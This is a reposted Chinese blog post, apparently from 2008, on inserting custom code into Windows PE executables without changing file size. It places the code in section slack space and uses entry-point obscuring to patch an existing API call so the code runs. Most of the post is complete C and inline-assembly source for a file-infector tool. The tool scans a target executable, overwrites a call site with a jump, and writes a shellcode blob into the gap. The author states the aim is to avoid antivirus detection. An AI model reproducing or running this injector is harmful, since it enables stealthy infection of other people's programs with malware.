EPO+插缝植入用户自定义代码的一种方法
2012-06-21 00:24
274 查看
EPO+插缝植入用户自定义代码的一种方法
2008-10-04 19:45
2008-10-04 19:45
以前听很多人问如何零字节插入,就是在一个pe内写入了我们的代码后,pe文件并不增加大小.可想而知道这种方法的隐蔽性.那么我们怎么才能把一些代码加入pe,而使它的大小不发生改变呢.还好windows的这个格式对齐给我们提供了可能性.pe中的节以一定的基数(也称对齐因数)对齐,而这种对齐导致的最直观的效果是每个节中有大量的空闲的空间,没有数据,没有代码,都是以0填充.这样我们就可以把这块宝地利用起来,把我们的代码写入.因为只是覆盖写入所以pe不会增加大小.好了第一个问题解决了.那么如何让pe执行那段代码呢?修改入口点(这是大部分类似程序所用的方法),不是太好。这样杀软很容易检测到pe入口点遭到修改而报警,这样我们岂不是徒劳了.那又如何解决它呢?答案就是EPO(入口点模糊技术),这种技术没有严格的规格规定,一般是修改API的跳转地址.一下为编译器的两种API调用方法: ; E8 xx xx xx xx: call xxxxxxxx ; relative address ; ... ; FF 25 xx xx xx xx: jmp dword ptr [xxxxxxxx] ; ; or: ; ; FF 15 xx xx xx xx: call dword ptr [xxxxxxxx] ; API call #include <windows.h> #include "stdio.h" #pragma comment(lib,"kernel32.lib") #pragma comment(lib,"user32.lib") char szHostFile[20]; PIMAGE_DOS_HEADER pImageDosHeader ; PIMAGE_NT_HEADERS pImageNtHeaders ; PIMAGE_SECTION_HEADER pImageSectionHeader ; unsigned char thunkcode[] = "\x60\x9C\x6A\x00\xE8\x07\x00\x00\x00\xD2" "\xB9\xC9\xF1\xD4\xC2\x00\xE8\x0D\x00\x00" "\x00\x65\x70\x6F\x2B\xB2\xE5\xB7\xEC\xB2" "\xE2\xCA\xD4\x00\x6A\x00\xB8\x8A\x05\xD5" "\x77\xFF\xD0\x9D\x61"; char szFormat[]="0x%02x "; void usage(); int main(int argc, char* argv[]) { HANDLE hFile ; HANDLE hMap ; LPVOID pMapping ; DWORD dwGapSize ; unsigned char *pGapEntry ; int i ; int x = 0x18 ; int vir_len ; unsigned char *pSearch ; BYTE *addr_found=(BYTE *)-1; DWORD Section_Number; BYTE data_hex[6]; //用于暂存宿主的6字节代码 BYTE data_jmp[6]={0xe9,0x90,0x90,0x90,0x90,0x90}; //用于转移到自定义处 DWORD dwCodeDistance,max_search,_eax,_esi,image; HMODULE hModule_user32=LoadLibrary("user32"); HMODULE hModule_kernel32=LoadLibrary("kernel32"); if(argc!=2) { usage(); return -1; } strcpy(szHostFile,argv[1]); hFile = CreateFile(szHostFile, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL) ; max_search=GetFileSize(hFile,0); if (hFile==INVALID_HANDLE_VALUE) { printf("Open host file failed!\n") ; return -1 ; } hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, NULL) ; if (!hMap) { printf("Create file mapping falied!\n") ; return -1 ; } pMapping = MapViewOfFile(hMap, FILE_MAP_ALL_ACCESS, 0, 0, 0) ; if (!pMapping) { printf("Map view of file failed!\n") ; return -1 ; } //::::::打开目标宿主文件,先检测文件是否PE格式,定位到代码的末尾 pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ; if (pImageDosHeader->e_magic!=IMAGE_DOS_SIGNATURE) { printf("DOS_Invalid file format!\n"); return -1; } pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ; if (pImageNtHeaders->Signature!=IMAGE_NT_SIGNATURE) { printf("NT_Invalid file format!\n"); return -1; } pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+ pImageDosHeader->e_lfanew+sizeof(IMAGE_NT_HEADERS)); //:::计算第一个节的空隙大小 dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader->Misc.VirtualSize ; //:::如果代码缝隙小于thunk code的大小则感染失败 if (sizeof(thunkcode)+6>dwGapSize) { printf("no more space to fill!\n") ; goto Close ; } //:::定位到代码末尾 Section_Number=pImageNtHeaders->FileHeader.NumberOfSections; pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+ (DWORD)pMapping+ pImageSectionHeader->Misc.VirtualSize) ; image=pImageNtHeaders->OptionalHeader.ImageBase; vir_len = (int)pImageSectionHeader->Misc.VirtualSize+pImageSectionHeader->VirtualAddress-pImageNtHeaders->OptionalHeader.AddressOfEntryPoint; pSearch = (unsigned char *)(pImageNtHeaders->OptionalHeader.AddressOfEntryPoint+ -pImageSectionHeader->VirtualAddress+pImageSectionHeader->PointerToRawData+ (DWORD)pMapping); max_search=DWORD(max_search+(DWORD)pMapping); __asm { xor eax,eax mov esi,pSearch epo_search: lodsb dec vir_len jz asm_exit cmp al,0e8h jz epo_e8_found cmp al,0ffh jnz epo_search dec vir_len lodsb cmp al,15h jnz epo_search jmp epo_got_it epo_e8_found: mov _esi, esi lodsd add eax,esi cmp eax,pMapping jb epo_search cmp eax,max_search ja epo_search cmp word ptr [eax],25ffh mov esi,_esi jnz epo_search xchg eax,esi inc esi inc esi epo_got_it: pushad mov ebx,image lodsd sub eax,ebx mov esi,pImageSectionHeader mov ecx,Section_Number call __rva2raw mov edx,pMapping add eax,edx mov eax,DWORD ptr [eax] call __rva2raw lea eax,[eax+edx+2] mov _eax,eax push eax push hModule_kernel32 mov eax,0x7c80ada0 call eax or eax,eax popad jnz epo_got_api mov eax,_eax push eax push hModule_user32 mov eax,0x7c80ada0 //本地系统的GetProcAddress的地址可能需要修正 call eax or eax,eax jnz epo_got_api xor ebx,ebx jmp epo_search epo_got_api: dec esi dec esi mov addr_found,esi jmp asm_exit //此函数为RVA转RAW //input: // eax --- RVA to convert // esi --- pointz to the first IMAGE_SECTION_HEADER // ecx --- number of section header // Output: // eax --- RAW (offset in the file) __rva2raw: pushad r2r_sec_loop: mov ebx,[esi+12] mov edx,ebx cmp eax,ebx jl r2r_next add ebx,[esi+8] cmp eax,ebx jg r2r_next sub eax,edx add eax,[esi+20] mov [esp+28],eax jmp r2r_ret r2r_next: add esi,28h loop r2r_sec_loop xor eax,eax mov [esp+28],eax r2r_ret: popad ret } asm_exit: if((DWORD)addr_found==-1) { printf("在我们制定的区段内并没找到符合要求的API"); goto Close; } printf("从这个地址开始查找:%08x \n",(pSearch-((DWORD)pMapping+pImageSectionHeader->PointerToRawData))+pImageSectionHeader->VirtualAddress+pImageNtHeaders->OptionalHeader.ImageBase); printf("我们找到的第一个符合要求的API是%s ",_eax); printf("它的地址:%08x \n",(addr_found-((DWORD)pMapping+pImageSectionHeader->PointerToRawData))+pImageSectionHeader->VirtualAddress+pImageNtHeaders->OptionalHeader.ImageBase); printf("我们的代码写入的位置为:%08x \n",(pGapEntry-((DWORD)pMapping+pImageSectionHeader->PointerToRawData))+pImageSectionHeader->VirtualAddress+pImageNtHeaders->OptionalHeader.ImageBase); dwCodeDistance =((DWORD)pGapEntry - ((DWORD)addr_found+5)); for (i=3;i>=0;i--) { data_jmp[i+1] = ((unsigned int)dwCodeDistance>>x)&0xff ; x -= 8 ; } for(i=0;i<6;i++) { data_hex[i]=addr_found[i]; } for(i=0;i<6;i++) { addr_found[i]=data_jmp[i]; } for (i=0;i<sizeof(thunkcode);i++) { pGapEntry[i]= thunkcode[i] ; } for(i=0;i<6;i++) { pGapEntry[i+sizeof(thunkcode)-1]=data_hex[i]; } dwCodeDistance=(-(dwCodeDistance+10+sizeof(thunkcode))); for (i=3;i>=0;i--) { data_jmp[i+1] = (dwCodeDistance>>x)&0xff ; x -= 8 ; } for(i=0;i<6;i++) { pGapEntry[i+sizeof(thunkcode)-1+6]=data_jmp[i]; } Close: UnmapViewOfFile(pMapping) ; CloseHandle(hMap) ; CloseHandle(hFile) ; return 0 ; } void usage() { printf("用法:\n"); printf("Loader.exe FileName\n"); printf("usage: \n"); printf("Loader.exe test.exe\n\n"); printf("\t\tcode by 夜神月\n"); } //--------------------------------------------------------------------------------------------------------------------// vc6.0通过 点击下载 |
相关文章推荐
- EPO+插缝植入用户自定义代码的另一种方法
- 一种基于自定义代码记录用户访问日志在Sharepoint网站的应用方法!
- 一种基于自定义代码记录用户访问日志在Sharepoint网站的应用方法!
- 一种基于自定义代码的asp.net网站首页根据IP自动跳转指定页面的方法!
- 一种基于自定义代码的asp.net网站访问IP过滤方法!
- 一种基于自定义代码的asp.net网站首页根据IP自动跳转指定页面的方法!
- 一种基于自定义代码的asp.net网站首页根据IP自动跳转指定页面的方法!
- 自定义C结构,一种新的提高ruby代码执行速度的方法:cplusruby
- 把需求变化带来的代码修改成本降至最低的一种方法
- 我的编程学习日志(4)-- 一种简单的测试代码的方法(freopen)
- MyEclipse代码格式化后自定义不换行设立方法
- DotLoopViewpager两个方法,几行代码实现轮播图,超强自定义的自动轮播的小圆点指示器
- 在Ogre中设置固定流水线的用户自定义裁剪平面的方法
- iphone 自定义软键盘的一种笨拙方法
- C# ASP.NET B/S模式下,采用lock语法 实现多用户并发产生不重复递增单号的一种解决方法技术参考
- 一个自定义位数的php多用户计数器代码
- Zen Coding: 一种快速编写HTML/CSS代码的方法
- django 1.7 自定义用户user模型的三种方法
- dapper 自定义数据库字段和代码中Model字段不一致时候的mapping方法
- Linux 平台一种进程代码注入方法